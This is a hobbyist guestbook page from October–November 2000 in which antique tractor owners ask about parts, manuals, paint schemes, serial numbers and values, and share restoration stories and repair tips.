Douglas Layman wrote on Wednesday, November 08, 2000 (PST):I recently purchased what I believe to be a 1948 Cub. I, like so many others wanted one practically all my life. I remember my uncle having one when I was a small child in the fifties. I'm wondering if anyone can help with a source for a schematic. My tractor runs fine but the regulator and light switch are not connected. I do not understand the functionality of the four position light switch which has two wire wound external resistors on the back.
KEITH GORDON wrote on Wednesday, November 08, 2000 (PST):Ive just traded for what the man says is a WD-9. Being gas over diesel it runs great and is in great condition. It also has a hand clutch. Im a New Holland dealer and very unfamiliar w/ International. Any comments on what Ive got?
Bill Mccalum wrote on Tuesday, November 07, 2000 (PST):I have a 1947 case VAI my dad and i resored it form peases.
Bob wrote on Tuesday, November 07, 2000 (PST):Can anyone tell me the horsepower of a 300 with "torque Amplifier"? One other thing, it seems as though the inner sides of the front tires rub against the axle. What causes this, wrong tires or what?
Bart Cushing wrote on Tuesday, November 07, 2000 (PST):Would any person know age of FMII with serial number 8340? Would appreciate knowing this. Have other 1 cyl. tractors but this is my first FM. Thank you.
Russ Pribble wrote on Monday, November 06, 2000 (PST):I just found and bought a 1937 70 rc and am trying to get parts for it if any one has one.
Tim MacLaury wrote on Monday, November 06, 2000 (PST):I bought a Regular in rough shape but near complete on steel. Need small stearing gear on end of stearing shaft.Where can I find parts? Thanks Tim
Fred Frantz wrote on Monday, November 06, 2000 (PST):I need help with the wiring of my WD45 anyone that can help please e-mail me i would prefer a diagram in great detail I am trying to get ready to pull thank you
Felix Cincotta wrote on Monday, November 06, 2000 (PST):my father bought a 2010 in the 70's he was the second owner. the first owner only used it to run a p.t.o. elevator and that was it. about 10 yrs ago he made the mistake of starting it in the cold with water in the radiator needless to say the block didn't take to that too good. he took the engine out parked it out back and left it until 2 yrs ago. i am 18 yrs old and i made him bring it inside so it wouldn't rust anymore i plan on restoring this fine machine. it's a rowcrop gas with big tires in the back. i was curious as to y alot of peoeple have deemed the 2010 as a lousy tractor. ours never gave us trouble till my dads foolish error. we also own a 2510diesel and love new generation tractors
Felix Cincotta wrote on Monday, November 06, 2000 (PST):sorry to write again i didn't know spaces mattered in e-mail so my e-mail address is felixdacat1 at aol.com
Felix Cincotta wrote on Monday, November 06, 2000 (PST):sorry to write again but i didn't think e-mail spaces mattered but apparently it does my e-mail address is felixdacat1 at aol.com
Felix cincotta wrote on Monday, November 06, 2000 (PST):i always wanted one of the fine and rare tractors. i read in a 2 cylinder magazine one was auctioned off for $56000 !!!!! i don't think i could afford that lol
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i am 18 yrs old. when i was 16 i purchased an LA for $1300 in decent shape all complete and started right up. it also has calcium in the back tires. i managed to find a pair of cultivators for it but i am looking for 2 other pieces of equipment one is the 1 bottom plow for it and the other is the planting attachment they made i think it was called a pl-12 planter. also if there is any other equipment specifically made for the LA could u please e-mail me i would like to get it anywhere in the new england area
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i for got to ad this in my other comment. i am also looking for 2 other tractors that look like allis chalmers g my dad has the sales catalogues for them since he was a kid one is called a blue G 1000. they have the engine in the back with a sliding steering wheel and can take allis G equipment the other is called Tuff-Bilt it looked like a G and was orange also but had tons of equipment made. unlike aliis chalmers these had a 3 point hitch system in the back and underneath. if u have any info i would love to hear from you
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i have an allis chalmers G and am looking for some equipment for it like a loader or complete set of cultivators.
Felix Cincotta wrote on Monday, November 06, 2000 (PST):i have an allis chalmers G and am looking for some equipment for it like a loader or complete set of cultivators.
Dick Staiert wrote on Sunday, November 05, 2000 (PST):My brother has recently acquired a 1917 8-16 and is restoring it. However he is not sure of the correct color scheme. He has seen several versions, but would like to paint it with "official" colors. Can anyone help?
David Farley wrote on Sunday, November 05, 2000 (PST):Does anyone have 1972 Massey Ferguson 12hp electric start hydrostatic transmission garden tractor., with a Techumpseh motor
Shane wrote on Friday, November 03, 2000 (PST):Does anyone know if it is possible to put powersteering on a Cub. And does anyone have a picture of a cub with the doglegs on it
steve wrote on Friday, November 03, 2000 (PST):A friend of mine just bought an Z-B M&M I need information on how to get a new stearimg wheel,paint scheme,etc.any info or picture's would be greatly appreciated. THANK'S
Bob again wrote on Friday, November 03, 2000 (PST):What about a serial number that ends in SYCC?
Bob again wrote on Friday, November 03, 2000 (PST):What about a serial number that ends in SYCC?
Bob again wrote on Friday, November 03, 2000 (PST):What about a serial number that ends in SYCC?
Bob again wrote on Friday, November 03, 2000 (PST):What about a serial number that ends in SYCC?
Jake Winn wrote on Thursday, November 02, 2000 (PST):I have a 97 myself and enjoy operating it very much. The slow turning, smooth 6 cylinder engine is music to the ears. I would love to find a four wheel drive 97, and a 95 and 95 super to complete the set. If anybody knows where i could find one of these please email me. Thanks
Brian Maloney wrote on Thursday, November 02, 2000 (PST):restoring a massey model 33need info on manuals.tractor was given to me 10 years ago from the neibor.. just bought a 44 massey for 650.00 running. has high arch wide front.how many of these were made?
Franklin wrote on Thursday, November 02, 2000 (PST):I have recently restored a 1940 Farmall B. I am looking for a set of cultivators (possibly B-238)to use an a attachment for shows. If anyone knows where I might locate a set in the Tennessee, Kentucky or Alabama areas, please drop me a line. Thanks.
Hank wrote on Thursday, November 02, 2000 (PST):I have a 1939 Farmall A (FAA-2798)I think this is the first year they were made. Can some one tell me approx. value I am going to be selling it runs fine.
truth of IH'S wrote on Thursday, November 02, 2000 (PST):I owend 3 farmall M's. the gearing is to slow or to fast.the brakes poor. they sound like a vw.the hyd is joke. they are noting but a pile of junk! that's why they quit making IH'S.
C.W.(Jim) Broughton wrote on Thursday, November 02, 2000 (PST):To; Jim Turner.... most likely the small "tube" that runs through your oil filter cast unit on the tractor is stopped up, particularly if the oil was not changed regularly. You'll need to take off the oil pan and take out the oil filter, get a small rod or "baling wire" and clean out that tube, otherwise, no oil pressure. Good luck !!
Kevin Kryshak wrote on Thursday, November 02, 2000 (PST):Hi! I own a Super 55 Gas that I use at my cottage in the U.P. of Michigan. It is original paint and drivetrain. I will try to figure out its year and then I will be able to help with paint questions. It has green front wheels and Red rear. It has been converted to 12 volt and has a Wagner Loader from a Ford on it. (Boy does that red-orange clash with the Oliver red!) All the instruments work, and the hours meter just turned 600, although that may not be accurate. Bye!
Greg wrote on Thursday, November 02, 2000 (PST):Could anyone give me an idea of what a minneapolis moline Z is worth if its in running order with straight sheet metal and real bad paint. The serial number is 00611545 and the serial number on the engine is 206B-4 I'am looking to buy Thanks Greg
Joerg Pfeilstuecker wrote on Thursday, November 02, 2000 (PST):I have some pictures of a MF97, made during the last German Massey-Ferguson Meeting in Welver/Westfalia. Owner comes from the Netherlands.
Jim Turner wrote on Wednesday, November 01, 2000 (PST):Have a 1948-49 Farmall Cub, trying to restore. need help with the oil pressure. When turning it over no pressure. Does anyone have answers. Thanks for all help
Gary Biewer wrote on Wednesday, November 01, 2000 (PST): We own one of these 12-25 Averys. It is restored and in nice condition. We are looking for parts for it's bigger brother the 18-36. If anyone knows of some for sale please email. thanks
Matt Stewart wrote on Wednesday, November 01, 2000 (PST): I recently rescued a 46 H from a caved in shed. It has the narrow front end but the owner also had a wide front that he threw in on the deal. All the sheetmetal is good and the engine is not stuck. I plan on making this a show tractor but my wife is making me do some house remodeling first. I would imagine you all can relate to that problem...
Lance Olson wrote on Tuesday, October 31, 2000 (PST):WE have a 1940 model B, it was purchased new by my wifes Grandfather and we bought it when he could no longer live on the farm. My wifes father grew up with the tractor and I remember him telling me he liked cultivating with it because you sat directly over the row, it has a "Cultivision" decal on the hood. My wifes Grandfather kept the tractor when he retired sometime in the mid 1950s and put a Sears belly mower on it. We have used it to mow the winbreak we planted at our place 12 years ago.The "little B" no longer fits between the evergreens and we were thinking of selling it.Can anyone give us a value for this tractor, it looks and runs great.
Lance Olson wrote on Tuesday, October 31, 2000 (PST):WE have a 1940 model B, it was purchased new by my wifes Grandfather and we bought it when he could no longer live on the farm. My wifes father grew up with the tractor and I remember him telling me he liked cultivating with it because you sat directly over the row, it has a "Cultivision" decal on the hood. My wifes Grandfather kept the tractor when he retired sometime in the mid 1950s and put a Sears belly mower on it. We have used it to mow the winbreak we planted at our place 12 years ago.The "little B" no longer fits between the evergreens and we were thinking of selling it.Can anyone give us a value for this tractor, it looks and runs great.
C.W.Broughton wrote on Tuesday, October 31, 2000 (PST): To Mike; You can get complete tractor manuals from Intertec P.O.box 12901,Overland Park,KS 66282-2901 or through the net from Binder Books in Tigard,Oregon...their phone is (503)-684-2024. Binder also has many of the implement manuals for the Cub and Low-Boys..hope this helps
Lev A .Garland wrote on Tuesday, October 31, 2000 (PST):My step son and I have built a replica of a 1923 8-16 , using a riding lawn mower frame it is about one half scale. It took almost 2 years to build. We take it to shows along with other things ( 1936 f-30 wide track and IHC horse drawn equipment lots of fun!!!}
John Badenhop wrote on Monday, October 30, 2000 (PST):My Father-n-law and Myself Own 4 Allis-Chalmers 1949 model "G"...We have completely restored 3 out of the four tractors...from the tear down and rebuild of the N62a block to the head and tail lights.Parts are becoming very hard to come of now..for one, the power take off, the mowing decks, and the original light\generator combination switches...Does anyone know where i may find these items, used...working or need of repair...Note to all who are rebuilding your N62 motors....for some strange reason, the pistons will only come out from the bottom, not the top, as i and others have ran into this problem on several motors... Happy Tractoring............... 8)
Ohio Dairyman wrote on Monday, October 30, 2000 (PST):We use a 1066 blackstripe with Cab to pull a newholland 900 forage harvestor. It's outfitted with a turbocharger, that baby can pull a full load up hill and keep right on chopping that corn or hay. no bog down. It can go 24-25 mph shuttling between farms. Most modern machinery is limited to 19-20 mph
ryan balodis. wrote on Monday, October 30, 2000 (PST):When was the Massy Feguson company invented?. If you have a photo on hand please send it to me. Thanks heaps Ryan.
butch wrote on Monday, October 30, 2000 (PST):this tractor kicks aaaaaaaaaasssssssssssssssssssssssssssssss
Darol wrote on Sunday, October 29, 2000 (PST):At Merced College in California we have a Model AO dating back to 1936. However, the ID tag states only Model A but the serial number refers to all AO parts in the book. Do we have a true AO or some kind of hybrid? The fenders have been scabbed back together after some branch blight as some point in time but the hood has the protector shield over the fillers. True AO or what?
Brent Beyer wrote on Sunday, October 29, 2000 (PST):I need a carburator and some other misc. parts for a 46 Oliver 60 any help would be appreciated.
Bob Potter wrote on Sunday, October 29, 2000 (PST):I have a 8 N, how do I get the entire hood off so I can paint it? And How do I get the grill off? thanks for any help.
Mike wrote on Sunday, October 29, 2000 (PST):Just purchased 1953 Farmall Cub w/ blade and mower deck for $2600. Was completely restored prior to purchase. Can't seem to find a lot of info. on '53's. Looking for a manual and would like to know where to get one. Was this a good buy?
Henry Hanson wrote on Sunday, October 29, 2000 (PST): I just purchased a 1952 To-30. Thanks to this web site I was able to figure out what year it was built, Thank you all. I learned how to drive a tractor when I was 11 years old. My Grandpa tought me. He had a Ford 8N. Since then I have wanted either a Ford or a Ferguson. I found this Ferguson to-30. Since then my son has been on it none stop making trails and dragging trees. It sure beets having him skating boarding and getting into trouble, if you know what I mean. I once red a saying on a sign on a farmers lawn "The outside of a horse, is good for the inside of a man", the same is true for a tractor.
John Quick wrote on Saturday, October 28, 2000 (PDT):I am looking to buy a Farmall Cub. I live in Southern California. Project or runner OKAY.
john quick wrote on Saturday, October 28, 2000 (PDT):I'm looking to buy an L or LA John Deere tractor. I live in Southern Calif. Project or runner OKAY.
Jessie Ash wrote on Friday, October 27, 2000 (PDT): any information on how to aquire a repair manual for the 70 Oliver rowcrop. A 1944- 1945 model.
Shaun Young wrote on Friday, October 27, 2000 (PDT):i thank that the farnall super md is the best tractor every made i will love to hve one my good firend andy's grandpa had one
Dave Lovett wrote on Thursday, October 26, 2000 (PDT):I Have a 36 F-20 a man in the Church that I pastor sold it to me.His father bought it new. I have been able to find most parts at my local Case/IH dealer.
Tristan Garwood wrote on Thursday, October 26, 2000 (PDT): My dad ownes an 88, 770, 1600, 1650, 1800, two 1755's and I use at least two everyday to fed with and I'm 13 and wouldn't trade them in for any thing else. There the best tractor every made because of the live power. He also ownes a 2-135 White FWA and a 2-155 two wheel drive and they both get used alot and I like the three speed on them but they shift alittle hard.
Gary Brown wrote on Wednesday, October 25, 2000 (PDT):Looking for model70 to buy. Please email me on any leads as to where to find one.
Geldof Michel wrote on Wednesday, October 25, 2000 (PDT):We bought some 3 years ago a MH GP 4WD in Canada - Manitoba. We rebuild the tractor complete with succes. Now we have some problems with Spark Plugs. We are looking for the original (or equivalent) spark plugs. Now we have spark plugs from "AUTO LITE transport TT8", are these original? They always did very good there job just till now. Can somebody help us to find the right spark plugs? We are from Belgium and have a have a wide collection of antique tractors (some 120 rebuild). e-mail us please; steven.vanderbeke at geldof.be
Eric wrote on Tuesday, October 24, 2000 (PDT):Carmen&Bruce,yellow grill and red pinstripe on frame rails with 60 in yellow. Red wheels hubs green. My E-mail is epercy44445 at aol.
Adam Peaslee wrote on Tuesday, October 24, 2000 (PDT):Just bought a 44 Special. It needs a paint job, but no one seems to sell Massey Harris paint. If anyone can help, please email me. Thanks.
Eric Mickelson wrote on Tuesday, October 24, 2000 (PDT):I bought a D-21 at an auction a few years ago. I use it to farm about 300 acres in NW Minnesota. The motor is smooth and uses very little oil. It is a real workhorse. I am a John Deere fan, but would definitely buy another D-21 if I came across the right deal!!
Russ Stauffer Calgary AB CAN. wrote on Monday, October 23, 2000 (PDT):I am restoring a 1942 farmall A serial # IAA 95055 I realize the I stands for industrial and I want to paint it back to its original color YELLOW , but I don't know the shade of yellow.Can someone help me with the paint code? Thanks
Russ Stauffer Calgary AB CAN. wrote on Monday, October 23, 2000 (PDT):I am restoring a 1942 farmall A serial # IAA 95055 I realize the I stands for industrial and I want to paint it back to its original color YELLOW , but I don't know the shade of yellow.Can someone help me with the paint code? Thanks
christopher le sauvage wrote on Monday, October 23, 2000 (PDT):I HAVE PRESENTLY 37 JD A AND 41 JD B IAM INTERESTED IN BUYING A EARLY ELECTRIC START PREFER ALL RESTORED AND READY TO SHOW-NO I WILL NOT SELL MY OTHER 2 WILLING PAY MARKET PRICES
Mark Jackson wrote on Monday, October 23, 2000 (PDT):I am an Ag-Science teacher in Milford, Texas. We recently recieved a Ferguson tractor for my Ag Power and Machinery class to work on. The Serial Number on the tractor TO-15098 Does anyone know anything about this tractor? Is this a TO-20 ? THe tractor seems to be in decent shape and we are Planning on restoring it if we can find the manuals and parts we need. Please E-mail any help you can give.
Donald Ross wrote on Monday, October 23, 2000 (PDT): Here in the Highlands of Scotland we have a 1946 "D" petrol/kerosene bought new, it was used until 1965 as a ploughing tractor. All the local farmers bought tractors with rear likages in the 50's but my grandfather never saw the point of changing a system which worked so well, it was only when tax free diesel came in that he changed his mind.We restored it in 1991 and she goes to the local ploughing match.
Troy Patterson wrote on Sunday, October 22, 2000 (PDT):im looking for manuals for a 1949 M, my grandfather has one and would like to rebuild it. Im not sure what im looking for can anyone help me. Thank you>
Chuck Heck 7735 S.R.48 , Aurora ,IN, 47001 wrote on Sunday, October 22, 2000 (PDT):I think the best source of I.H. information is Red Power Magazine. Address is PO Box 245,Ida Grove,IA,51445-0245. Phone # 712-364-2131. GOOD LUCK!!!
Tom Saathoff wrote on Sunday, October 22, 2000 (PDT):Jim, I just happened to see your letter and was surprised that no one has responded yet. The fix is pretty simple, assuming "good luck" that the water pump pulley isn't froze. The pulley is in two seperate sections that screw and unscrew to tighten or loosen the belt. At the front of the pulley there is a set screw that needs to be loosend then you can take a rod and hammer and tap on the lugs on the pulley face to move it. More than likely the damn thing (all of mine) haven't been adjusted for a long time and are froze. Use a liberal amount of good penetrant and tap a little, resoak, repeat as much as needed. I have had to pull the radiator and fan to get room to work on this. Desperate measures. Hope this helps you. It would be a good idea to get an owners manual for the M. They are still availible from Case IH or other sources. Tom
James Garey wrote on Sunday, October 22, 2000 (PDT):The Massey Ferguson 97 was built by Oliver with a Detroit engine.
Bob Klaus wrote on Thursday, October 19, 2000 (PDT):Any info out there on a Farmall Model F30 or T-20. the seria #is QC5948 which leads me to believe it is a 1934 F30 from your serial # info file. Has Iron wheels. ran 2 or 3 years ago sitting a Field since then. Any info or comments possible value would be appreciated, thanks, Bob
Mark Honecker wrote on Thursday, October 19, 2000 (PDT):I have my grandpa's "52" 8N. I Would like to install a flathead V8 I am looking for any help I can get.. And if any one has a flathead v8 for sale in any condition..
TERRY CLOUSER wrote on Thursday, October 19, 2000 (PDT):I RECENTLY BOUGHT A 57 SUPER 77 GAS WITH FACTORY POWER STEERING, IS THIS A RARE TRACTOR. THE POWER STEERING UNIT IS LEAKING AT THE TOP WHERE IT COMES UP BEHIND THE GRILLES. IT LOOKS LIKE THERE IS SUPPOSED TO BE A SEAL OR SOMETHING ON TOP OF IT. IF ANYONE KOWS ANYTHING ABOUT THESE YOUR HELP WOULD BE APRECIATED.
John wrote on Thursday, October 19, 2000 (PDT):I have a 1946 Cletrac AG-6. (Runs with a Willys 6-cyl gas engine). Tracks are worn, and the right side suspension spring is broken. Can anyone point to sources I should check out for parts??
Nick Beazley wrote on Thursday, October 19, 2000 (PDT):The Field Marshall series 2 tractor, in my opinion is one of the most classic and interesting pieces of machinery that mankind can give credit to. I hope that the site can eventually give this tractor some credit in its home page as both I and many other site hitters believe it should. Long live the Marshall!!!
Craig Hayton wrote on Wednesday, October 18, 2000 (PDT):Amanda Blake I also have a super 77 diesel. Tim Smith of Dalton Ohio might be able to help you. His phone number is 330 832 9792. Also join the Oliver club contac Sherry at 217 563 8327. I hope you enjoy your 77 as much as I do mine. Good luck if I can be of any more help e mail me. Craig
Bill Everts wrote on Tuesday, October 17, 2000 (PDT):I need a piston and rod for a Farmall F20 (1937); standard bore 3.570. Do you know where I can find parts? Thanks.
Tom Wood wrote on Tuesday, October 17, 2000 (PDT):I have a 1939 Oliver 70 that has no belt pully gears. It just has a cover. Is that cover rare? Also, the tag on the motor has a "B" signifing the wide front. The front end is narrow. I would love to get a wide front for it.
JODY HAMM wrote on Tuesday, October 17, 2000 (PDT):THERE IS A TOY B FARMALL LISTED ON EBAY RIGHT NOW.
Tim Bechdol wrote on Monday, October 16, 2000 (PDT):have a super a need to know how to hookup belly mount cultivator picture would be great P.O. box 5094 Gallup,N.M. 87305 thanks for this shed
Gene Kuhel wrote on Monday, October 16, 2000 (PDT):I have a 70 Row Crop that I just got it moved to my yard from the farm where I use to plow with this tractor. I need to find some parts for it. Like the entake/exast manifold , side covers , and hand crank. Its a 6 cyl , 1948 Oliver 70 series wheel tractor Row Crop ser# 265016 . I also need a rebuilder manual too.
John Logsdon wrote on Sunday, October 15, 2000 (PDT): Seeing all the comments on the 720's pulling power reminded me of one that I farmed with during the sixties. We had a new '61 JD 4010 pulling a spinner moldboard with 3 sixteen bottoms in a field following harvest. We were plowing in fourth gear at a depth of about 7 to 8 inches. I wanted to see how the 720 would do and went over and fell into the furrow behind the 4010. This surprized the hired hand but he didn't stop. At the end of the half mile through, the 720 was about 6 lengths behind. Granted I had to keep the 720 real hard at work. The gear on the 720 was just a tiny bit slower and this caused some of the distance. I think the 4010 diesel was and is one of the finest tractors I ever drove; I know the 720 was not in its power class, but It was about as I had figured it to be. Ever wonder which one would outpull the other at the drawbar? I wondered also and my brother and I hooked the 720 to the 4010 with a big chain. I pulled the 720 in 2nd, idled down, he was going to pull me backward with the 4010 in 3rd. I was a little anxious before the start since I didn't have any wheel weights on the 720', the 4010 had two to each wheel. I pulled him all over the place. We tried three different times; same result. When daddy came in and saw the tracks where the 4010 had be dragged, he wanted to know "What was going on out there?" He of course was afraid of a tractor rearing up, but we rode them every day and were too good to have let that happen. I'm retiring the last of this year and am moving back to the contry, got the place bought already, and the first thing I will do is have a nice shop built where I can work on tractors. The second thing is to buy a 720/730 diesel. The 4010, super 88, M-5, M Farmall, UTU (I like punishment), and 1800 Oliver will come asap. I must be crazy, those AC D17s are even looking good to me as well. Well, maybe a Ford, v8 powered would top off the collection. Enjoyed just thinking about the old times. John
John Logsdon wrote on Sunday, October 15, 2000 (PDT): Seeing all the comments on the 720's pulling power reminded me of one that I farmed with during the sixties. We had a new '61 JD 4010 pulling a spinner moldboard with 3 sixteen bottoms in a field following harvest. We were plowing in fourth gear at a depth of about 7 to 8 inches. I wanted to see how the 720 would do and went over and fell into the furrow behind the 4010. This surprized the hired hand but he didn't stop. At the end of the half mile through, the 720 was about 6 lengths behind. Granted I had to keep the 720 real hard at work. The gear on the 720 was just a tiny bit slower and this caused some of the distance. I think the 4010 diesel was and is one of the finest tractors I ever drove; I know the 720 was not in its power class, but It was about as I had figured it to be. Ever wonder which one would outpull the other at the drawbar? I wondered also and my brother and I hooked the 720 to the 4010 with a big chain. I pulled the 720 in 2nd, idled down, he was going to pull me backward with the 4010 in 3rd. I was a little anxious before the start since I didn't have any wheel weights on the 720', the 4010 had two to each wheel. I pulled him all over the place. We tried three different times; same result. When daddy came in and saw the tracks where the 4010 had be dragged, he wanted to know "What was going on out there?" He of course was afraid of a tractor rearing up, but we rode them every day and were too good to have let that happen. I'm retiring the last of this year and am moving back to the contry, got the place bought already, and the first thing I will do is have a nice shop built where I can work on tractors. The second thing is to buy a 720/730 diesel. The 4010, super 88, M-5, M Farmall, UTU (I like punishment), and 1800 Oliver will come asap. I must be crazy, those AC D17s are even looking good to me as well. Well, maybe a Ford, v8 powered would top off the collection. Enjoyed just thinking about the old times. John
ROBERT MCDERMITT wrote on Sunday, October 15, 2000 (PDT):LIKE TO HAVE ONE I HAVE A M& SUPER M
John Gomes wrote on Saturday, October 14, 2000 (PDT):I just bought a 1950 case S with a loader and in nice working condition, I would like to know about a 3 point hitch system for it, Where would i find it? and I see that alot of people are looking for rebiuld kits for the engine, are they that hard to find? are parts in general hard to find for these tractors? I bought it to use at the cottage, to move some gravel around, but I would like to add a post hole driller so I need the hitch any help
david Cohrs wrote on Friday, October 13, 2000 (PDT):again if anyone has any info about a 44-6 {with continental 6 cylinder engine} i would appreciate you sending that to me like #produced, hp, weight, how rare of a tractor is this?we picked it up for $1000.00 dollars i think we got a good deal considering it's been totally repainted.
Amanda Blake wrote on Thursday, October 12, 2000 (PDT):I recently bought a 1955 Oliver super 77 diesel. It has been restored except for the sheet metal. It runs great and I plan to complete the restoration. I would like to know what the original colour scheme of this tractor was. I have seen several combinations, but want to do mine original. I also need the original rear wheel rims which were 11-38 I believe. I would also like to replace the hood, cowl and grills. The front side curtains are missing so I would also like to buy them. I am really enjoying my Oliver and plan to buy at least one more. Any help I can get will be appreciated. I want to order the paint as soon as I know which colours to buy.
David Fransen wrote on Thursday, October 12, 2000 (PDT):Wow, does this site bring back memories. I worked on my uncle's ranch during and shortly after high school in the late 60's and early 70's. The main workhorse tractor was a 560 Diesel. We used it year round for everything, in conjunction with several Farmall M's and H's and a Case VAC. The 560 did everything that was asked of it, from a 5 bottom plow, to cutting silage, to planting wheat, grinding feed, there was nothing that was too tough. Loved the TA, especially when plowing. And yes, gotta love the sound of that engine under load.
Nathan Crabtree wrote on Thursday, October 12, 2000 (PDT):I have a 1951 Farmall Cub I need to know where I can get parts and manual to rebuild the engine. This Cub has been seting for 17 years.Thanks
Chris Dyrdahl wrote on Tuesday, October 10, 2000 (PDT):I have a Farmal M and just love it my first tractor, any way I have a old du-al loader on it and it works good but the old seals are leaking on the hydraulics I was told that they don't make that kind of seals anymore. What do I do without buying new hydraulics cylenders.
Mike Quisenberry wrote on Tuesday, October 10, 2000 (PDT):I have a 1956 super 77 Diesel with wide front end. I need a crank. Would like to restore and put it to use. If you know the where-abouts of a crank please let me know (quiz at iserv.net). My uncle owned an Oliver dealership where my father worked as a mechanic in the 1960's.
Larry Nicholson wrote on Monday, October 09, 2000 (PDT):I have a Parade ready 1951 Cub in good condition for $2900.00 and I am in Florida.
Grandpa Bud wrote on Sunday, October 08, 2000 (PDT):Wanted a farmall m in working condition in western Pa. or eastern Ohio
Brittany Johnson wrote on Sunday, October 08, 2000 (PDT):I am restoring an Oliver 70 RC and I am at the point of installing the handcrank and I would like to know what would work well for the pin that goes through the crank handle and locks in on the front pulley - if you have a suggestion please write to me!!
Dale wrote on Saturday, October 07, 2000 (PDT):Can anyone tell me anything about my Massy Harris 444? I haven't seen any information about the 444 yet. Found lots of stuff for other models but no mention of the 444. It's narrow front end on rubber with a 4 cylinder gas motor 5 speed gearbox with reverse. Has pto and hydraulics with lift arms. Please e-mail me with any tidbits of info, anything at all.
JULIUS wrote on Saturday, October 07, 2000 (PDT):I am restoring a 1946 Farmall AV. I purchased a battery box believing it would fit just as an A would. To my suprise it's on center distance for the tabs on the side is 6 inches and the other A's I have measured is 5 inches on center. Why would Farmall change the specs between the two models I would like to know.
JESSIE BRADSHAW wrote on Saturday, October 07, 2000 (PDT):I HAVE A 1943 SC CASE TRACTOR COMPLETELY RESTORED. I CURRENTLY TAKE THE TRACTOR TO SHOWS AND PARADES. I WOULD LIKE TO FINA A CASE FLAG TO DISPLAY. PLEASE CONTACT ME IF YOU HAVE ANY IDEAS. THANKS
Frank Baker wrote on Saturday, October 07, 2000 (PDT):I aw looking for a cub in good running condition in thr connecticut area
Jim Kasparie wrote on Friday, October 06, 2000 (PDT):Like Goldwin above, I am looking for a front blade for my 49 Cub, I am in Illinois, if you have something that might work please e-mail me, Thanks!
Dick Hamby wrote on Friday, October 06, 2000 (PDT):Webb wrote on oct 3 wanting a G tractor. I have one but the response was no such E address.
paul wrote on Friday, October 06, 2000 (PDT):i have a G allis i am restoring it has a mower on it call KUB-KLIPPER model K-4 by sunflower industries olathe kans. any one have any info. on this set up thanks
Muhammed Bako wrote on Friday, October 06, 2000 (PDT):I would like to buy massey ferguson model 165, 175, 188. Please let me hear from. you
Ronald Peters wrote on Thursday, October 05, 2000 (PDT):My question is a general about all case tractors what years were the case tractors made and which one would be the best for al around use
Bill Subik wrote on Thursday, October 05, 2000 (PDT):Hello we are getting ready to restore and try to repair our ZB that my father bought new in the early 50's. Does anyone know anyon ehtat would possibly have one for sale? We may be interested in buying another one. Please get ahold of me as soon as possible.
David W. Boelman wrote on Thursday, October 05, 2000 (PDT):I own a 1956 Super 99 GM which I bought six years ago. Before restoring it I used it in the field plowing and field cultivating. When field cultivating I would drop an 18 ft. field cultivator in the ground and let it go in fourth gear. It never even phased it as it went down the field. When I went to bed at night my ears just rang. Dave Boelman Belmond, Iowa
SteveMagierka,Jr. wrote on Wednesday, October 04, 2000 (PDT):Need crankshaft for 720
Mark Geiger wrote on Wednesday, October 04, 2000 (PDT):Have just purchased a 1941 Oliver 70RC last weekend at an auction in eastern Wisconsin. Have been searching for years for the right deal and it finally happened. It was not run for many years but we did get it started the day after the auction--will need some work.Sheet metal is straight and not corroded any where--just surface rust all over.Has 11x40" tires on it--are there new tubes available for this size ? Tires? Lots of fun filled opportunities ahead.
Rex Bolliger wrote on Wednesday, October 04, 2000 (PDT): Those two holes on right of hood is how you oil your generator. For those interested, put a power steering unit on left side front of motorand run it off front shaft. My '47 cub has that and it works great. Build mounting to hold the pump.
Rex L Bolliger RR2 Box 184 Oberlin Kansas 67749 wrote on Wednesday, October 04, 2000 (PDT): In the middle'50's I spent many hours farming with a 44 standard Massey.I picked many acres of corn with it pulling a single row GI corn snapper. Had a canvas heat houser and tractor radio. Really loved that machine. Don't remember what year it was. Yours truly REX
Rex L Bolliger RR2 Box 184 Oberlin Kansas 67749 wrote on Wednesday, October 04, 2000 (PDT): In the middle'50's I spent many hours farming with a 44 standard Massey.I picked many acres of corn with it pulling a single row GI corn snapper. Had a canvas heat houser and tractor radio. Really loved that machine. Don't remember what year it was. Yours truly REX
christy wrote on Wednesday, October 04, 2000 (PDT):I am looking for a antique toy or replica of the International Farmall "B" - please e-mail me if you know how to find one
Goldwin wrote on Tuesday, October 03, 2000 (PDT):I would like to buy a front blade to fit the 51 Cub I'm having fun with.
Deon Nel wrote on Tuesday, October 03, 2000 (PDT):I am busy to restore a Farmall 100 Hi corp but cant get the chrome decalls can any body help me
Vince Manno wrote on Tuesday, October 03, 2000 (PDT):i would like to know about work shop manuals and book's on 0-14's. I own a 0-14 and i want to know were all the stickers and emblems go on it. I would also like a raditator,and raditator shutters and magneto. Thanks Vince
David C. Baker wrote on Monday, October 02, 2000 (PDT):Re; Oliver 70 Standard I own one. I grew up driving it. I am 53 now, a university professor who took over the family farm when my dad died 4 years ago. Ours runs like a top. We used it in the haying this summer. It is a 6-cyl. engine, said to be an experimental high- compression engine. The "70" is said to come from 70 octane gas, which it used in the 40's. Ours was purchased in 1947 and it did all the farm work until 1964 when we added a Ford 4000 (which we also still have). We now use a New Holland TN75 for the major work on our farm in Southwestern VA. We used it to run a thrashing machine (a Frick model). The thing was a real powerhorse under the belt. I still have its 2-bottom plow, an Oliver Plowmaster (2, 16" plows). It leaks a little oil around the engine seals. I guess the seals have dry rotted. Otherwise, it's in tip-top condition. I've seen restored models of these run up to $6000. But they were really nicely fixed up.
Hank wrote on Monday, October 02, 2000 (PDT):I have a adjustable wide front axle off a 1950 Oliver 88 Row crop good cond. Make me an offer.
Sean Kelly wrote on Monday, October 02, 2000 (PDT):What a small world! The guy above, Trevor Oester, just happens to be my cousin. Just like my cousin said, grandpa owns one of the only 2 ironhorses left. I think Trevor was kind of wrong in some parts so I'll fill ya in. It was not illegal to use horse drawn farm equipment. Instead the Ironhorse was made to introduce farmers to mechanical farming. Its idea was to eventually replace the horse. The machine was driven just like a horse with reins while the farmer walked behind it next to the plow. The problem with it was it was kind of back heavy and when a farmer went up a hill it would tip over backwards and crush them. During WWI and WWII they were all melted down for use in the Army. Currently there are only 2 known Ironhorses, one which is missing parts and will never run again and the other (which my great grandpa has) is complete and running like brand new. He currently has it in storage and if I'm not mistaken it will eventually be on display at the Smithsonian Museum in Washington DC. The picture above is the exact tractor that my great grandfather owns and was probably taken at the Steam and Tractor show in Oregon State.
